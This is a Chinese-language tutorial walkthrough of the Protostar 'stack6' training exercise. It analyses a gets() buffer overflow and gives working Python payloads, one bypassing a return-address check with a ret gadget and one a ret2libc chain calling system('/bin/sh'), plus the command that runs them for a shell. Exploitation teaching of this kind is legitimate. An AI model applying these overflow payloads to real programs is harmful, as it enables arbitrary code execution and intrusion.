原始碼如下:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
首先,我們先來分析這段程式在做什么?
- 第1-4行匯入一些常見的庫函式
- 第6行定義了getpath()函式
- 第8行定義了一個buffer陣列,陣列長度是64
- 第9行定義了一個unsigned int 變數,變數名ret
- 第11行列印輸出字串“input path please”
- 第13行用gets函式向buffer陣列寫入字符
- 第15行用編譯器的內建函式__builtin_return_address(0)回傳當前函式的回傳地址,需要進一步說明的是__builtin_return_address(1)是回傳呼叫getpath函式的函式的回傳地址(Caller's ret),
- 第17行-20行就是判斷該回傳地址的高位是否是0xbf,如果是,退出函式,
- 第22行列印buffer的值
不難知道,main函式是Caller,所以第15行的回傳值一定就是main函式中的下一條指令的地址,我們來查看一下當程式運行時,系統為該程式分配的堆疊地址是多少,
先在main函式里打個斷點(程式運行后,才會由記憶體映射),然后使用info proc map查看
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
第17行可以看到,堆疊空間的首地址是0xbffeb000,所以源代碼中的if判斷針對性非常強,也就是說沒法將getpath的回傳地址直接回傳到buffer的首地址(因為buffer在堆疊上),實作ret2shellcode,
但是真的不能利用了嗎?顯然還有機會!但是機會是有前提的,這道題存在兩個假設:
-
假設堆疊上可以執行代碼(ret2shellcode)
-
假設堆疊上不能執行代碼(ret2libc)
接下來,我們將根據兩個假設做進一步分析,
getpath的匯編代碼:
(gdb) disass getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
看匯編代碼重點關注的是它的堆疊結構,尤其是buffer距離ret的距離,我們嘗試畫出getpath的堆疊圖(大致就可以,不需要畫的多細,找距離也是通過構造特殊輸入計算的,而不是根據堆疊圖計算的,)

假設一:堆疊上可以執行代碼
正常的ret2shellcode思路:如果堆疊上可以執行代碼,那么我們需要修改ret的回傳地址,要控制ret的回傳地址到shellcode的首地址,執行shellcode,但現在ret的回傳地址會被檢查,所以需要在正常思路稍作改動即可,

第一個ret會被檢查,那么我們控制第一個ret回傳的是getpath的ret指令地址,地址為是0x080484f9,此時成功繞過內建函式檢查,接著控制第二個ret指向shellcode的首地址,當運行到第2個ret時,eip加載shellcode的首地址,然后就會跳轉到buffer里執行shellcode代碼!
要找到ret位置,首先我們構造特殊的字串
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
然后運行程式
Starting program: /opt/protostar/bin/stack6 < /home/user/exp1.txt
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
在0x55555555中出現段錯誤,出現段錯誤的原因是ret跳轉指令時發現這個地址無效,所以該地址就是ret的地址,
0x55在我們構造的字串里是’U‘,所以只要把'U'的地址替換為ret的地址即可,具體修改如下:
(gdb) x /10xw $esp
0xbffff78c: 0x080484f9 0xbffff794 0xcccccccc 0xbffff800
0xbffff79c: 0xb7eadc76 0x00000001 0xbffff844 0xbffff84c
0xbffff7ac: 0xb7fe1848 0xbffff800
payload如下:
# 沒有真的寫shellcode,而是用0xc來模擬
import struct
buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
ret = struct.pack("II",0x080484f9,0xbffff794)
shellcode = struct.pack("I",0xcccccccc)
payload = buffer + ret + shellcode
print payload
假設二:堆疊上不可以執行代碼
當堆疊上無法執行代碼時,shellcode寫入堆疊就沒有了任何意義,那么如何利用呢?考慮的方法是借助libc庫里的可執行函式,比如system()函式,system執行shell需要引數,比如“/bin/sh”字串,我們同樣也需要在libc庫空間里找這個字串,

當程式運行到ret時,ret里記錄的是system函式的入口地址,程式就會jmp到system函式,system函式執行需要引數,程式就會讀取"/bin/sh"字串作為引數傳遞給system函式,這樣就構成了system("/bin/sh")命令執行,輕松拿到shell,
如果對整個壓堆疊的程序不是很清楚的同學們可能會疑惑,為什么syetem函式的入口地址和引數之間要隔一個system的回傳地址呢?這里我簡單做一個解釋,
正常呼叫一個函式他有一個規約,對于一個main函式呼叫gets(buffer)函式來說,在main函式里會先把buffer引數壓堆疊(如果是多個引數的的話,從右往左壓堆疊),然后call gets函式,call 命令一般會干兩件事,第一件事是push eip,也就是把gets函式的下一條指令地址壓堆疊(這就是為什么堆疊上要放一個ret的回傳的地址),第二件事是jmp gets,跳轉到gets的函式入口,
首先在libc里找到system函式的入口地址(為什么可以呢,因為libc庫已經被鏈接到程式里了,所以可以直接搜system函式的地址)
(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
在libc庫空間搜索/bin/sh字串
user@protostar:~$ strings -t d /lib/libc-2.11.2.so | grep "/bin/sh"
1176511 /bin/sh
1176511是一個相對地址(10進制),所以還要加上libc的基址0xb7e97000(查看記憶體映射可得出)
Payload如下:
import struct
buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"
system = struct.pack("I",0xb7ecffb0)
ret = "AAAA"
shellcode = struct.pack("I",0xb7e97000+1176511)
payload = buffer +system+ ret + shellcode
print payload
踩坑:
如果直接在gdb里嘗試這個Payload會出現一個錯誤:
__libc_system (line=0xb7fb63bf "/bin/sh") at ../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c: No such file or directory.
in ../sysdeps/posix/system.c
使用下面這條指令,getshell!
(python exp1.py; cat) | /opt/protostar/bin/stack6
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/550456.html
標籤:其他
